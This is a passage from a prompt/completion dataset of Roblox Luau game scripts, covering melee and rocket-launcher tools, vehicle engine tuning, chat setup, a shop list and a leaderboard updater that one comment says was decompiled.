nil\nend\nelse\nend\nelse\nend\nend\n\ntool.Unequipped:connect(onUnequippedLocal)\n\ntool.Equipped:connect(onEquippedLocal)\ntool.Equipped:connect(Equip)\ntool.Unequipped:connect(Unequip)\n"} +{"prompt": "--//services//--", "completion": "\nlocal debris = game:GetService(\"Debris\")\nlocal runService = game:GetService(\"RunService\")\n"} +{"prompt": "--For Omega Rainbow Katana thumbnail to display a lot of particles.", "completion": "\nfor i, v in pairs(Handle:GetChildren()) do\n\tif v:IsA(\"ParticleEmitter\") then\n\t\tv.Rate = 20\n\tend\nend\n\nTool.Grip = Grips.Up\nTool.Enabled = true\n\nfunction IsTeamMate(Player1, Player2)\n\treturn (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)\nend\n\nfunction TagHumanoid(humanoid, player)\n\tlocal Creator_Tag = Instance.new(\"ObjectValue\")\n\tCreator_Tag.Name = \"creator\"\n\tCreator_Tag.Value = player\n\tDebris:AddItem(Creator_Tag, TAG_TIMER)\n\tCreator_Tag.Parent = humanoid\nend\n\nfunction UntagHumanoid(humanoid)\n\tfor i, v in pairs(humanoid:GetChildren()) do\n\t\tif v:IsA(\"ObjectValue\") and v.Name == \"creator\" then\n\t\t\tv:Destroy()\n\t\tend\n\tend\nend\n\nfunction Blow(Hit)\n\t-- print(\"sword attack - \",Hit.Parent.Name)\t\n\tlocal tmp = Hit.Parent:FindFirstChild(\"Owner\")\n\tif tmp ~= nil then -- \u043f\u043e \u043f\u043e\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c \u043d\u0435 \u0431\u044c\u0451\u043c\n\t\treturn\n\tend\n\n\tif not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then\n\t\treturn\n\tend\n\tlocal RightArm = Character:FindFirstChild(\"Right Arm\") or Character:FindFirstChild(\"RightHand\")\n\tif not RightArm then\n\t\treturn\n\tend\n\tlocal RightGrip = RightArm:FindFirstChild(\"RightGrip\")\n\tif not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then\n\t\treturn\n\tend\n\tlocal character = Hit.Parent\n\tif character == Character then\n\t\treturn\n\tend\n\tlocal humanoid = character:FindFirstChildOfClass(\"Humanoid\")\n\tif not humanoid or humanoid.Health == 0 then\n\t\treturn\n\tend\n\tlocal player = Players:GetPlayerFromCharacter(character)\n\tif player and (player == Player or IsTeamMate(Player, player)) then\n\t\treturn\n\tend\n\t-- UntagHumanoid(humanoid) -- \u0443\u0431\u0440\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0445\n\tTagHumanoid(humanoid, Player) -- \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0431\u044f\n\t-- humanoid:TakeDamage(Damage)\n\tmodDamage:Take(Humanoid, humanoid,Damage) -- from, to, damage\nend\n\n\nfunction Attack()\n\tDamage = DamageValues.SlashDamage\n\tSounds.Slash:Play()\n\n\tif Humanoid then\n\t\tif Humanoid.RigType == Enum.HumanoidRigType.R6 then\n\t\t\tlocal Anim = Instance.new(\"StringValue\")\n\t\t\tAnim.Name = \"toolanim\"\n\t\t\tAnim.Value = \"Slash\"\n\t\t\tAnim.Parent = Tool\n\t\telseif Humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\tlocal Anim = Tool:FindFirstChild(\"R15Slash\")\n\t\t\tif Anim then\n\t\t\t\tlocal Track = Humanoid:LoadAnimation(Anim)\n\t\t\t\tTrack:Play(0)\n\t\t\tend\n\t\tend\n\tend\t\nend\n\nfunction Lunge()\n\tDamage = DamageValues.LungeDamage\n\n\tSounds.Lunge:Play()\n\t\n\tif Humanoid then\n\t\tif Humanoid.RigType == Enum.HumanoidRigType.R6 then\n\t\t\tlocal Anim = Instance.new(\"StringValue\")\n\t\t\tAnim.Name = \"toolanim\"\n\t\t\tAnim.Value = \"Lunge\"\n\t\t\tAnim.Parent = Tool\n\t\telseif Humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\tlocal Anim = Tool:FindFirstChild(\"R15Lunge\")\n\t\t\tif Anim then\n\t\t\t\tlocal Track = Humanoid:LoadAnimation(Anim)\n\t\t\t\tTrack:Play(0)\n\t\t\tend\n\t\tend\n\tend\t\n\t\n\twait(0.2)\n\tTool.Grip = Grips.Out\n\twait(0.6)\n\tTool.Grip = Grips.Up\n\n\tDamage = DamageValues.SlashDamage\nend\n\nTool.Enabled = true\nLastAttack = 0\n\nfunction Activated()\n\tif not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then\n\t\treturn\n\tend\n\tTool.Enabled = false\n\tlocal Tick = RunService.Stepped:wait()\n\tif (Tick - LastAttack < 0.2) then\n\t\tLunge()\n\telse\n\t\tAttack()\n\tend\n\tLastAttack = Tick\n\t--wait(0.5)\n\tDamage = DamageValues.BaseDamage\n\tlocal SlashAnim = (Tool:FindFirstChild(\"R15Slash\") or Create(\"Animation\"){\n\t\tName = \"R15Slash\",\n\t\tAnimationId = BaseUrl .. Animations.R15Slash,\n\t\tParent = Tool\n\t})\n\t\n\tlocal LungeAnim = (Tool:FindFirstChild(\"R15Lunge\") or Create(\"Animation\"){\n\t\tName = \"R15Lunge\",\n\t\tAnimationId = BaseUrl .. Animations.R15Lunge,\n\t\tParent = Tool\n\t})\n\tTool.Enabled = true\nend\n\nfunction CheckIfAlive()\n\treturn (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)\nend\n\nfunction Equipped()\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChildOfClass(\"Humanoid\")\n\tTorso = Character:FindFirstChild(\"Torso\") or Character:FindFirstChild(\"HumanoidRootPart\")\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tToolEquipped = true\n\tSounds.Unsheath:Play()\nend\n\nfunction Unequipped()\n\tTool.Grip = Grips.Up\n\tToolEquipped = false\nend\n\nTool.Activated:Connect(Activated)\nTool.Equipped:Connect(Equipped)\nTool.Unequipped:Connect(Unequipped)\n\nConnection = Handle.Touched:Connect(Blow)\n"} +{"prompt": "-- Set up item list", "completion": "\nfunction MakeList()\n\titemList:ClearAllChildren()\n\tlocal buttonsPerPage = 10\n\tlocal items = {}\n\tlocal sorted = {}\n\tfor _,item in pairs(players.LocalPlayer.Backpack:GetChildren()) do -- sort by price in ascending order\n\t\tif item:FindFirstChild(\"Price\") then\n\t\t\ttable.insert(items, item)\n\t\t\tlocal positionToInsertAt = 1\n\t\t\tfor i,sortItem in pairs(sorted) do\n\t\t\t\tif replicatedStorage.Items[sortItem].Price.Value < replicatedStorage.Items[item.Name].Price.Value then\n\t\t\t\t\tpositionToInsertAt = i + 1\n\t\t\t\tend\n\t\t\tend\n\t\t\ttable.insert(sorted, positionToInsertAt, item.Name)\n\t\tend\n\tend\n\tlocal amount = math.clamp(#items, buttonsPerPage, math.huge)\n\tlocal button = script:WaitForChild(\"ItemButton\")\n\titemList.CanvasSize = UDim2.new(0, 0, itemList.Size.Y.Scale + (itemList.Size.Y.Scale * (1 / buttonsPerPage) * (amount - buttonsPerPage)), 0)\n\tfor i,item in pairs(sorted) do\n\t\tlocal newButton = button:Clone()\n\t\tif i % 2 == 0 then\n\t\t\tnewButton.BackgroundColor3 = Color3.fromRGB(82, 76, 115)\n\t\telse\n\t\t\tnewButton.BackgroundColor3 = Color3.fromRGB(99, 119, 148)\n\t\tend\n\t\tnewButton.Text = item\n\t\tnewButton.Size = UDim2.new(1, -15, 1 / amount, 0)\n\t\tnewButton.Position = UDim2.new(0, 0, (i - 1) * (1 / amount), 0)\n\t\tnewButton.Parent = itemList\n\t\tnewButton.MouseButton1Click:Connect(function()\n\t\t\tSelectItem(item)\n\t\tend)\n\t\tif i == 1 then\n\t\t\tSelectItem(item)\n\t\tend\n\tend\n\tif #sorted == 0 then\n\t\titemNameLabel.Text = \"No items to sell\"\n\t\tprice.Text = \"\"\n\t\titemInfo.Text = \"\"\n\tend\nend\n\nscript.Parent:WaitForChild(\"Close\").MouseButton1Click:Connect(function()\n\trequire(switchMenu)()\nend)\n\nscript.Parent:WaitForChild(\"Sell\").MouseButton1Click:Connect(function()\n\tif sellCooldown == false then\n\t\tsellCooldown = true\n\t\trequire(playSoundEffect)(\"Coins\")\n\t\tworkspace.Remotes.SellItem:InvokeServer(itemNameLabel.Text) -- Uses RemoteFunction to yield until action is complete\n\t\tMakeList()\n\t\tsellCooldown = false\n\tend\nend)\n\nscript.Parent:GetPropertyChangedSignal(\"Visible\"):Connect(function()\n\tif script.Parent.Visible == true then\n\t\tMakeList()\n\tend\nend)\n"} +{"prompt": "--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.\n--// I have to do some weird stuff since people could potentially already have pre-existing\n--// things in a folder with the same name, and they may have different class types.\n--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that\n--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want\n--// exist with their desired names.", "completion": "\n\nlocal FFlagUserHandleChatHotKeyWithContextActionService = false do\n\tlocal ok, value = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserHandleChatHotKeyWithContextActionService\")\n\tend)\n\tif ok then\n\t\tFFlagUserHandleChatHotKeyWithContextActionService = value\n\tend\nend\n\nlocal FILTER_MESSAGE_TIMEOUT = 60\n\nlocal RunService = game:GetService(\"RunService\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Chat = game:GetService(\"Chat\")\nlocal StarterGui = game:GetService(\"StarterGui\")\nlocal ContextActionService = game:GetService(\"ContextActionService\")\n\nlocal DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild(\"DefaultChatSystemChatEvents\")\nlocal EventFolder = ReplicatedStorage:WaitForChild(\"DefaultChatSystemChatEvents\")\nlocal clientChatModules = Chat:WaitForChild(\"ClientChatModules\")\nlocal ChatConstants = require(clientChatModules:WaitForChild(\"ChatConstants\"))\nlocal ChatSettings = require(clientChatModules:WaitForChild(\"ChatSettings\"))\nlocal messageCreatorModules = clientChatModules:WaitForChild(\"MessageCreatorModules\")\nlocal MessageCreatorUtil = require(messageCreatorModules:WaitForChild(\"Util\"))\n\nlocal ChatLocalization = nil\npcall(function() ChatLocalization = require(game:GetService(\"Chat\").ClientChatModules.ChatLocalization :: any) end)\nif ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end\n\nlocal numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary\nlocal waitChildren = {\n\tOnNewMessage = \"RemoteEvent\",\n\tOnMessageDoneFiltering = \"RemoteEvent\",\n\tOnNewSystemMessage = \"RemoteEvent\",\n\tOnChannelJoined = \"RemoteEvent\",\n\tOnChannelLeft = \"RemoteEvent\",\n\tOnMuted = \"RemoteEvent\",\n\tOnUnmuted = \"RemoteEvent\",\n\tOnMainChannelSet = \"RemoteEvent\",\n\n\tSayMessageRequest = \"RemoteEvent\",\n\tGetInitDataRequest = \"RemoteFunction\",\n}\n"} +{"prompt": "--[ LOCALS ]--", "completion": "\n\nlocal ReplicatedStorageEvent = game.ReplicatedStorage:WaitForChild(\"AFK\")\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 180; -- 60 = 1 Minute, 180 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 5; -- 5 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "--// Math", "completion": "\nlocal L_118_ = function(L_155_arg1, L_156_arg2, L_157_arg3)\n\tif L_155_arg1 > L_157_arg3 then\n\t\treturn L_157_arg3\n\telseif L_155_arg1 < L_156_arg2 then\n\t\treturn L_156_arg2\n\tend\n\treturn L_155_arg1\nend\n\nlocal L_119_ = L_107_.new(Vector3.new())\nL_119_.s = 30\nL_119_.d = 0.55\n\t\nlocal L_120_ = CFrame.Angles(0, 0, 0)\n"} +{"prompt": "--[[\n\tShorthand for an andThen handler that returns the given value.\n]]", "completion": "\nfunction Promise.prototype:andThenReturn(...)\n\tlocal length, values = pack(...)\n\treturn self:_andThen(debug.traceback(nil, 2), function()\n\t\treturn unpack(values, 1, length)\n\tend)\nend\n"} +{"prompt": "-- Nominal distance, set by dollying in and out with the mouse wheel or equivalent, not measured distance", "completion": "\nfunction VRBaseCamera:GetCameraToSubjectDistance(): number\n\treturn self.currentSubjectDistance\nend\n"} +{"prompt": "--[[\n\tFired when PostGame is entered, throwing out a player state update, as well as transitioning the player state\n]]", "completion": "\nfunction Transitions.onEnterPostGame(stateMachine, event, from, to, playerComponent)\n\tLogger.trace(playerComponent.player.Name, \" state change: \", from, \" -> \", to)\n\tplayerComponent:updateStatus(\"currentState\", to)\n\tPlayerPostGame.enter(stateMachine, playerComponent)\nend\n"} +{"prompt": "--[[Misc]]", "completion": "\n\tTune.LoadDelay\t\t= 3.0\t\t-- Delay before initializing chassis (in seconds)\n\tTune.AutoStart\t\t= true\t\t-- Set to false if using manual ignition plugin\n\tTune.AutoFlip\t\t= true\t\t-- Set to false if using manual flip plugin\n\tTune.AutoUpdate\t\t= true\t\t-- Automatically applies minor updates to the chassis if any are found.\n\t\t\t\t\t\t\t\t\t-- Will NOT apply major updates, but will notify you of any.\n\t\t\t\t\t\t\t\t\t-- Set to false to mute notifications, or if using modified Drive.\n\t"} +{"prompt": "-- \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440", "completion": "\nfunction module.lookAtY(target, eye)\n local forwardVector = (eye - target)\n local upVector = Vector3.new(0, 1, 0)\n -- You have to remember the right hand rule or google search to get this right\n local rightVector = forwardVector:Cross(upVector)\n local upVector2 = rightVector:Cross(forwardVector)\n return CFrame.fromMatrix(eye, -rightVector, upVector2) -- upVector2 - \u0434\u043b\u044f \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0438\nend\n\nfunction computeDirection(vec)\n\tlocal lenSquared = vec.magnitude * vec.magnitude\n\tlocal invSqrt = 1 / math.sqrt(lenSquared)\n\treturn Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)\nend\n\nlocal Rocket = Instance.new(\"Part\")\nRocket.Locked = true\nRocket.Size = Vector3.new(1,1,1)\nRocket.Shape = Enum.PartType.Ball\nRocket.Color = Color3.fromRGB(0,0,0)\nRocket.CanCollide=false\n"} +{"prompt": "--[[ Roblox Services ]]", "completion": "--\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal ContextActionService = game:GetService(\"ContextActionService\")\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 180\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 1000\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 8000\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 9.4\n\tTune.CurveMult\t\t= 0.13\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "-- modules", "completion": "\n\nlocal module\t= {}\n\nfunction module.Create(self, item)\n\tlocal itemModule\t= {\n\t\tItem\t\t= item;\n\t\tEquipped\t= false;\n\t\tConnections\t= {};\n\t}\n\t\n\t-- variables\n\t\n\tlocal animations\t= {}\n\t\n\tlocal character\t= item.Parent.Parent\n\tlocal handle\t= item:WaitForChild(\"Handle\")\n\tlocal muzzle\t= handle:WaitForChild(\"Muzzle\")\n\t\n\tlocal config\t= CONFIG:GetConfig(item)\n\t\n\tlocal ammo\t\t\t= item:WaitForChild(\"Ammo\").Value\n\tlocal reloading\t\t= false\n\tlocal rCancelled\t= false\n\t\n\t-- functions\n\t\n\tlocal function Reload()\n\t\tif (not reloading) and itemModule.Equipped and ammo < config.Magazine then\n\t\t\treloading\t= true\n\t\t\trCancelled\t= false\n\t\t\t\n\t\t\tlocal storedAmmo\t= character.Ammo[config.Size].Value\n\t\t\tif storedAmmo > 0 then\n\t\t\t\tMOUSE.Reticle\t= \"Reloading\"\n\t\t\t\tREMOTES.Reload:FireServer(item)\n\t\t\t\tEFFECTS:Effect(\"Reload\", item)\n\t\t\t\tanimations.Reload:Play(0.1, 1, 1/config.ReloadTime)\n\t\t\t\t\n\t\t\t\tlocal start\t\t= tick()\n\t\t\t\tlocal elapsed\t= 0\n\t\t\t\trepeat\n\t\t\t\t\telapsed\t= tick() - start\n\t\t\t\t\tRunService.Stepped:wait()\n\t\t\t\tuntil elapsed >= config.ReloadTime or rCancelled or (not itemModule.Equipped)\n\t\t\t\t\n\t\t\t\tanimations.Reload:Stop()\n\t\t\t\t\n\t\t\t\tif itemModule.Equipped then\n\t\t\t\t\tif elapsed >= config.ReloadTime then\n\t\t\t\t\t\tlocal magazine\t= config.Magazine\n\t\t\t\t\t\tlocal needed\t= magazine - ammo\n\t\t\t\t\t\t\n\t\t\t\t\t\tif storedAmmo >= needed then\n\t\t\t\t\t\t\tammo\t= ammo + needed\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tammo\t= ammo + storedAmmo\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tMOUSE.Reticle\t= config.Reticle or \"Gun\"\n\t\t\t\t\tEVENTS.Gun:Fire(\"Update\", ammo)\n\t\t\t\tend\n\t\t\tend\n\t\t\treloading\t= false\n\t\tend\n\tend\n\t\n\t-- module functions\n\t\n\tfunction itemModule.Connect(self)\n\t\tlocal character\t\t= PLAYER.Character\n\t\tlocal humanoid\t\t= character:WaitForChild(\"Humanoid\")\n\t\t\n\t\tfor _, animation in pairs(self.Item:WaitForChild(\"Animations\"):GetChildren()) do\n\t\t\tanimations[animation.Name]\t= humanoid:LoadAnimation(animation)\n\t\tend\n\t\t\n\t\ttable.insert(self.Connections, INPUT.ActionBegan:connect(function(action, processed)\n\t\t\tif self.Equipped and (not processed) then\n\t\t\t\tif action == \"Reload\" then\n\t\t\t\t\tReload()\n\t\t\t\tend\n\t\t\tend\n\t\tend))\n\t\t\n\t\ttable.insert(self.Connections, item.Attachments.ChildAdded:connect(function()\n\t\t\tconfig\t= CONFIG:GetConfig(item)\n\t\t\tEVENTS.Zoom:Fire(config.Zoom)\n\t\t\tEVENTS.Scope:Fire(config.Scope)\n\t\tend))\n\t\t\n\t\ttable.insert(self.Connections, item.Attachments.ChildRemoved:connect(function()\n\t\t\tconfig\t= CONFIG:GetConfig(item)\n\t\t\tEVENTS.Zoom:Fire(config.Zoom)\n\t\t\tEVENTS.Scope:Fire(config.Scope)\n\t\tend))\n\tend\n\t\n\tfunction itemModule.Disconnect(self)\n\t\tfor _, connection in pairs(self.Connections) do\n\t\t\tconnection:Disconnect()\n\t\tend\n\t\tself.Connections\t= {}\n\tend\n\t\n\tfunction itemModule.Equip(self)\n\t\tself.Equipped\t= true\n\t\tEVENTS.Zoom:Fire(config.Zoom)\n\t\tEVENTS.Scope:Fire(config.Scope)\n\t\tMOUSE.Reticle\t= config.Reticle or \"Gun\"\n\t\tanimations.Idle:Play()\n\t\tanimations.Equip:Play(0, 1, 1)\n\t\t\n\t\tammo\t= item.Ammo.Value\n\t\t\n\t\tEVENTS.Gun:Fire(\"Enable\", config.Size, ammo)\n\t\t\n\t\tif ammo == 0 then\n\t\t\tspawn(function()\n\t\t\t\tReload()\n\t\t\tend)\n\t\tend\n\tend\n\t\n\tfunction itemModule.Unequip(self)\n\t\tself.Equipped\t= false\n\t\t\n\t\tEVENTS.Zoom:Fire()\n\t\tEVENTS.Scope:Fire(false)\n\t\tMOUSE.Reticle\t= \"Default\"\n\t\t\n\t\tfor _, animation in pairs(animations) do\n\t\t\tanimation:Stop()\n\t\tend\n\t\t\n\t\tEVENTS.Gun:Fire(\"Disable\")\n\tend\n\t\n\tfunction itemModule.Activate(self)\n\t\tif ammo > 0 then\n\t\t\tammo\t= ammo - 1\n\t\t\t\n\t\t\tlocal direction\t\t= (MOUSE.WorldPosition - muzzle.WorldPosition).Unit\n\t\t\tlocal projectileID\t= EVENTS.GetProjectileID:Invoke()\n\t\t\t\n\t\t\tEVENTS.Projectile:Fire(PLAYER, item, projectileID, muzzle.WorldPosition, direction)\n\t\t\tREMOTES.RocketLauncher:FireServer(item, \"Fire\", projectileID, muzzle.WorldPosition, direction)\n\t\t\t\n\t\t\tanimations.Shoot:Play(0, 1, 1)\n\t\t\tEVENTS.Recoil:Fire(Vector3.new(math.random(-config.Recoil, config.Recoil) / 4, 0, math.random(config.Recoil / 2, config.Recoil)))\n\t\t\tEFFECTS:Effect(\"RocketLauncher\", item, \"Fire\")\n\t\t\t\n\t\t\tEVENTS.Gun:Fire(\"Update\", ammo)\n\t\t\t\n\t\t\twait(0.4)\n\t\t\t\n\t\t\tReload()\n\t\tend\n\tend\n\t\n\tfunction itemModule.Deactivate(self)\n\t\t\n\tend\n\t\n\treturn itemModule\nend\n\nreturn module\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 180\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 6700\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.0\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nlocal u1 = {};\nlocal v13\nlocal u2 = nil;\nfunction Update()\n\tif u1 then\n\n\telse\n\t\treturn;\n\tend;\n\tif not u2 then\n\t\treturn;\n\tend;\n\n\tfor v5, v6 in pairs(u2:GetChildren()) do\n\t\tif v5 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tlocal v7 = nil\n\t\tif v6.Name == \"Energy Leaderboard\" then\n\t\t\tv7 = u1[\"Energy\"]\n\t\telse\n\t\t\tv7 = u1[\"Gems\"]\n\t\t\t\n\t\tend\n\t\tif v7 then\n\t\t\tlocal v8 = v6:FindFirstChildOfClass(\"SurfaceGui\");\n\n\t\t\tfor v9, v10 in ipairs(v7) do\n\t\t\t\tif v9 then\n\n\t\t\t\telse\n\t\t\t\t\tbreak;\n\t\t\t\tend;\n\t\t\t\tlocal v12 = v8.Frame:FindFirstChild(\"Entry\" .. v9);\n\t\t\t\tif not v12 then\n\t\t\t\t\tv12 = v1.Assets.UI.Leaderboard.Entry:Clone();\n\t\t\t\t\tv12.LayoutOrder = v9;\n\t\t\t\t\tv12.Rank.Text = \"#\" .. v9;\n\t\t\t\t\tv12.Name = \"Entry\" .. v9;\n\t\t\t\t\tif v9 <= 3 then\n\t\t\t\t\t\tv13 = 80;\n\t\t\t\t\telse\n\t\t\t\t\t\tv13 = 60;\n\t\t\t\t\tend;\n\t\t\t\t\tv12.Size = UDim2.new(1, 0, 0, v13);\n\t\t\t\t\tv12.Parent = v8.Frame;\n\t\t\t\tend;\n\t\t\t\tv12.Score.Text = v1.Functions.Format.Short(v10.loadvalue);\n\t\t\t\tv12.Username.Text = \"@\" .. v10.username;\n\t\t\t\tif v10.username == v1.LocalPlayer.Name then\n\t\t\t\t\tv12.Username.TextColor3 = Color3.fromRGB(28, 134, 173);\n\t\t\t\telse\n\t\t\t\t\tv12.Username.TextColor3 = Color3.fromRGB(218, 218, 218);\n\t\t\t\tend;\t\t\t\n\t\t\tend;\n\t\t\tv8.Frame.CanvasSize = UDim2.new(0, 0, 0, v8.Frame:FindFirstChildOfClass(\"UIListLayout\").AbsoluteContentSize.Y);\n\t\tend;\t\n\tend;\nend;\nfunction Grab()\n\tlocal v14 = v1.Network.Invoke(\"Get Leaderboards\");\n\tif v14 then\n\t\tu1 = v14;\n\t\tUpdate();\n\tend;\nend;\nfunction Check()\n\tlocal v15 = v1.WorldCmds.GetMap();\n\tif v15:FindFirstChild(\"Interactive\") then\n\n\telse\n\t\treturn;\n\tend;\n\tu2 = v15.Interactive:FindFirstChild(\"Leaderboards\");\n\tif not u2 then\n\t\treturn;\n\tend;\n\tUpdate();\nend;\nv1.Signal.Fired(\"World Changed\"):Connect(function()\n\tu2 = nil;\n\tCheck();\nend);\ncoroutine.wrap(function()\n\twhile true do\n\t\tGrab();\n\t\twait(10);\t\n\tend;\nend)();\n\n"} +{"prompt": "-- js https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt\n-- lua http://www.lua.org/manual/5.4/manual.html#pdf-utf8.codepoint", "completion": "\nreturn function(str: string, index: number): number\n\tif type(index) ~= \"number\" then\n\t\tindex = 1\n\tend\n\t--[[\n\t\tInitial bounds check. Checking string.len is not an exhaustive upper bound,\n\t\tbut it is cheaper to check string.len and handle utf8.offset than to check\n\t\tutf.len, which iterates over all codepoints.\n\t]]\n\tlocal length = string.len(str)\n\tif index < 1 or index > length then\n\t\treturn NaN\n\tend\n\n\t-- utf8.offset returns nil for out of bounds\n\tlocal offset = utf8.offset(str, index)\n\n\t-- check that offset is not greater than the length of the string\n\tif offset == nil or offset > length then\n\t\treturn NaN\n\tend\n\n\tlocal value = utf8.codepoint(str, offset, offset)\n\n\tif value == nil then\n\t\treturn NaN\n\tend\n\n\treturn value\nend\n"} +{"prompt": "--messageText = \"Regening car, please wait...\"--If you want a message to appear upon pressing, type it here.", "completion": "\n"} +{"prompt": "--[[**\n\tensures Roblox RBXScriptSignal type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.RBXScriptSignal = primitive(\"RBXScriptSignal\")\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}\n\nmath.randomseed(tick())\n\nfunction configureAnimationSet(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (config ~= nil) then"} +{"prompt": "--// Renders", "completion": "\nlocal L_155_\n\nL_99_:connect(function()\n\tif L_15_ then\n\t\tL_150_, L_151_ = L_150_ or 0, L_151_ or 0\n\t\tif L_153_ == nil or L_152_ == nil then\n\t\t\tL_153_ = L_44_.C0\n\t\t\tL_152_ = L_44_.C1\n\t\tend\n\t\t\n\t\tlocal L_261_ = (math.sin(L_144_ * L_146_ / 2) * L_145_)\n\t\tlocal L_262_ = (math.sin(L_144_ * L_146_) * L_145_)\n\t\tlocal L_263_ = CFrame.new(L_261_, L_262_, 0.02)\n\t\t\t\t\n\t\t\n\t\tlocal L_264_ = (math.sin(L_140_ * L_143_ / 2) * L_142_)\n\t\tlocal L_265_ = (math.cos(L_140_ * L_143_) * L_142_)\n\t\tlocal L_266_ = CFrame.new(L_264_, L_265_, 0.02)\n\t\t\n\t\tif L_137_ then\n\t\t\tL_144_ = L_144_ + .017\n\t\t\tif L_24_.WalkAnimEnabled == true then\n\t\t\t\tL_138_ = L_263_\n\t\t\telse\n\t\t\t\tL_138_ = CFrame.new()\n\t\t\tend\n\t\telse\n\t\t\tL_144_ = 0\n\t\t\tL_138_ = CFrame.new()\n\t\tend\n\t\t\n\t\tL_136_.t = Vector3.new(L_131_, L_132_, 0)\n\t\tlocal L_267_ = L_136_.p\n\t\tlocal L_268_ = L_267_.X / L_133_ * (L_60_ and L_135_ or L_134_)\n\t\tlocal L_269_ = L_267_.Y / L_133_ * (L_60_ and L_135_ or L_134_)\n\t\t\n\t\tL_5_.CFrame = L_5_.CFrame:lerp(L_5_.CFrame * L_139_, 0.2)\n\t\t\n\t\tif L_60_ then\n\t\t\tL_127_ = CFrame.Angles(math.rad(-L_268_), math.rad(L_268_), math.rad(L_269_)) * CFrame.fromAxisAngle(Vector3.new(5, 0, -1), math.rad(L_268_))\t\n\t\t\tL_140_ = 0\n\t\t\tL_141_ = CFrame.new()\n\t\telseif not L_60_ then\n\t\t\tL_127_ = 